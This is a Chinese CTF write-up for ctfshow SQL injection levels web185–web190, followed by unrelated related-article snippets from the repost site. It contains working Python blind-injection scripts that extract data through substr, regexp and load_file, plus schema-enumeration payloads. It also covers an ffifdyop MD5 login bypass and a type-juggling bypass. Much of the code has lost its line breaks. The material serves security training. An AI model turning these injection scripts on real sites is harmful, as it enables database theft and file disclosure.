ctfshow web入门 SQl注入 web185--web190

web185

这道题还有另外一个脚本就是用concat的拼接达到有数字的目的

concat(true+true) == 2 concat(true) == 1
concat(true, true)== 11
然后上脚本(Y4tacker这个师傅的)

# @Author:Y4tacker
import requestsurl = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"flag = 'flag{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numfor i in range(45):if i <= 5:continuefor j in range(127):data = {"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"}r = requests.post(url, data=data)if r.text.find("$user_count = 43;") > 0:if chr(j) != ".":flag += chr(j)print(flag.lower())if chr(j) == "}":exit(0)break

在这里插入图片描述

8-4-4-4-12自己把flag写出来

web186

与上题相同

web187

$username = $_POST['username'];$password = md5($_POST['password'],true);//只有admin可以获得flagif($username!='admin'){$ret['msg']='用户名不存在';die(json_encode($ret));}

这道题密码被MD5 加密,而且第二个参数是true
去查了一下ffifdyop类似与一个万能密码就可以绕过
在这里插入图片描述
登录成功但是没有回显
抓包
在这里插入图片描述

web188

在这里插入图片描述正则绕过上面的东西并且password只能是数字而且是整数
SQl弱类型隐式转换

0==admin
0==password,就可以直接绕过了

在这里插入图片描述

web189

flag在api/index.php文件中
这是题目的提示

 if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}

过滤了这些东西
load_file,判断有回显的地方

查询失败表示没有用户,username错误
密码错误就说明有回显
结果就是username=0是有回显

用脚本进行布尔盲注

import requests
import timeurl = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):for x in flagstr:data={"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),"password":"0"}print(data)response = requests.post(url,data=data)time.sleep(0.3)# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~if response.text.find("8d25")>0:print("++++++++++++++++++ {} is right".format(x))flag+=xbreakelse:continueprint(flag)

就是跑的有点慢
在这里插入图片描述username没有用引号所以还可以用if或者case

# @Author:Kradress
from operator import concat
import requests
import stringurl = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'for i in range(40):for char in uuid:print(char)data = {'username' : passwd + f"{char}'),0,1)",'password' : 0}res = requests.post(url, data=data)if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:passwd += charprint(passwd)break

这个脚本快的不行

web190

在这里插入图片描述username带引号了,但是密码的返回还是一样,先找回显
在这里插入图片描述

import requests
import sys
import timeurl = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):max = 127min = 32while 1:mid = (max+min)>>1if(min == mid):flag += chr(mid)print(flag)break#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)#ctfshow_web#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)#ctfshow_fl0g#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)#id,f1agpayload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)time.sleep(0.3)if res.text.find("8bef")>0:max = midelse:min = mid 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2979485.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

qt;lt;等xml|Html转义字符

在写Android布局文件时&#xff0c;左右尖括号<>&#xff0c;括号在XML中没办法直接使用&#xff0c;需要进行转义&#xff0c;收集一些转义符&#xff0c;以便查询使用。 常用表&#xff1a; **对于文章出现的任何问题请大家批评指出&#xff0c;一定及时修改 **可联系…

C#开发的全套成熟的LIS系统源码JavaScript+SQLserver 2012区域云LIS系统源码

C#开发的全套成熟的LIS系统源码JavaScriptSQLserver 2012区域云LIS系统源码 医院云LIS系统是一套成熟的实验室信息管理系统&#xff0c;目前已在多家三级级医院应用&#xff0c;并不断更新。云LIS系统是为病人为中心、以业务处理为基础、以提高检验科室管理水平和工作效率为目标…

低代码技术与仓储管理的新纪元:革命性的供应链变革

引言 在当今数字化时代&#xff0c;企业对于创新和效率的追求越发迫切。在这样的背景下&#xff0c;低代码技术应运而生&#xff0c;成为企业数字化转型的重要工具之一。低代码技术的崛起为企业提供了一种快速、灵活、成本效益高的开发方式&#xff0c;大大缩短了软件开发周期…

STM32系统参数和结构

系列文章目录 STM32单片机系列专栏 C语言术语和结构总结专栏 文章目录 1. 基本参数 2. 片上资源&#xff08;外设&#xff09; 3. STM32系列命名规则 4. 系统结构 5. 引脚定义 6. 启动配置 7. 最小系统电路 8. 型号分类和缩写 1. 基本参数 STM32F103C8T6 系列&#…

【Linux开发 第十四篇】日志管理

日志管理 日志常常放在/var/log目录中 常用的日志&#xff1a; 比如lasllog文件&#xff1a;可以通过命令lastlog来查看 Centos7.6 日志服务是rsyslogd ps aux | grep "rsyslog" | grep -v "grep"&#xff1a;查询服务是否存在&#xff0c;-v的含义是反…

数字化医保买药平台开发教学:搭建智能医保购药APP

今天&#xff0c;小编将为大家介绍如何搭建智能医保购药APP&#xff0c;以便更好地服务患者和医疗机构。 一、需求分析 在进行APP开发之前&#xff0c;首先需要进行需求分析&#xff0c;明确开发的目标和功能。智能医保购药APP的主要功能包括&#xff1a; 用户注册与登录&…

【鸿蒙NEXT】web组件debug模式

官方文档 使用Devtools工具调试前端页面 打开web debug模式 webview.WebviewController.setWebDebuggingAccess(true)chrome 访问 chrome://inspect/#devices Discover network targets 中添加 localhost:9222 创建cat.sh com.coooliang.yourappbundname 为你应用的bundlen…

android系统更新ActivityManager中APi问题解决

遇到在alps/frameworks/base/core/java/android/app/ActivityManager.java 进行了新接口的增加时&#xff0c;需要进行更新api操作以刷新以下两文件。 alps/frameworks/base/core/api/system-current.txt alps/frameworks/base/core/api/system-lint-baseline.txt 否则会报错…

jsp实验10 JavaBean

二、实验项目内容&#xff08;实验题目&#xff09; 编写代码&#xff0c;掌握javabean的用法。【参考课本 上机实验 5.5.1 】 三、源代码以及执行结果截图&#xff1a; 源代码&#xff1a; Fraction.java package sea.water; public class Fraction { public double numbe…

WAF防范原理

目录 一、什么是WAF 二、纵深安全防御 WAF的组网模式 WAF配置全景 WAF端 服务器 攻击端 拦截SQL注入&#xff0c;XSS攻击&#xff0c;木马文件上传 要求&#xff1a; 使用WAF&#xff0c;通过配置策略要求能防御常见的web漏洞攻击&#xff08;要求至少能够防御SQL、XSS、文…

使用R语言生成频数分布表

概要 使用R语言生成频数分布表 在R语言中&#xff0c;可以使用freq()函数来生成频数分布表。首先&#xff0c;将需要分组的数据存储在一个向量中。然后&#xff0c;使用freq()函数将这个向量作为参数输入&#xff0c;即可生成频数分布表。以下是一个示例&#xff1a; 示例 …

ClickHouse 高可用之副本

文章目录 ClickHouse 副本支持副本的引擎配置高可用副本副本应用1.副本表概述2.创建副本表3.写入模拟数据4.副本验证 扩展 —— 在 Zookeeper 中查看副本表信息 ClickHouse 副本 ClickHouse 通过副本机制&#xff0c;可以将数据拷贝存储在不同的节点上。这样&#xff0c;如果一…

【前端】vue的基础知识及开发指引

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、Vue是什么二、学习 Vue.js 的基础知识三、熟悉 Vue.js 的生态系统四、掌握常用工具和库五、实践和项目开发六、 持续学习和跟进 前言 随着开发语言及人工智…

【Java--数据结构】模拟实现ArrayList

欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 LIst 顺序表ArrayList 顺序表优点 IList接口 ArrayList中定义要操作的数组 在MyArrayList中 重写接口方法 新增元素 在指定位置插入元素 pos不合法异常 判断和查找元素…

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)

目录 EasySignin cool_index SuiteCRM web1234 法一、条件竞争(没成功) 法二、session反序列化 EasySignin 先随便注册个账号登录&#xff0c;然后拿bp抓包改密码(username改成admin) 然后admin / 1234567登录 康好康的图片功能可以打SSRF&#xff0c;不能直接读本地文…

算法06链表

算法06链表 一、链表概述1.1概述1.2链表的组成部分&#xff1a;1.3链表的优缺点&#xff1a; 二、链表典例力扣707.设计链表难点分析&#xff1a;&#xff08;1&#xff09;MyLinkedList成员变量的确定&#xff1a;&#xff08;2&#xff09;初始化自定义链表&#xff1a;&…

从0到1带你玩转pandas

学习 pandas 的过程可以分为几个阶段&#xff0c;每个阶段都围绕着不同的核心技能和概念。下面是一个为初学者设计的学习大纲&#xff1a; 一. 基础介绍 学习如何安装和设置 pandas 以及了解它的基本概念是开始使用 pandas 进行数据分析的第一步。下面我将详细介绍这些步骤&am…

二分查找知识点及练习题

知识点讲解 一、没有相同元素查找 请在一个有序递增数组中&#xff08;不存在相同元素&#xff09;&#xff0c;采用二分查找&#xff0c;找出值x的位置&#xff0c;如果x在数组中不存在&#xff0c;请输出-1&#xff01; 输入格式 第一行&#xff0c;一个整数n&#xff0c;代…

Winfrom —— listView控件详解

listView简介&#xff1a; ListView 通过view属性设置listView五种风格 1 Largelcon 每一个项为最大化的图标&#xff0c;在图标下面有一行文字。 2 SmallIcon 每一项项为最小化的图标&#xff0c;在图标右面有一行文字。 3 Details 每个项显示在不同的行上…

书生·浦语大模型实战营之 火爆 Reddit!多模态 Llama-3 它来了 !! XTuner 微调 Llama3 图片理解多模态

书生浦语大模型实战营之 火爆 Reddit!多模态 Llama-3 它来了 !! XTuner 微调 Llama3 图片理解多模态 LLaVA-Llama-3-8B 已由 XTuner 团队推出,相比于 LLaVA-1.5,能力全面提升! XTuner:https://github.com/InternLM/XTuner (欢迎 Star) 微调教程:https://github.com/Sm…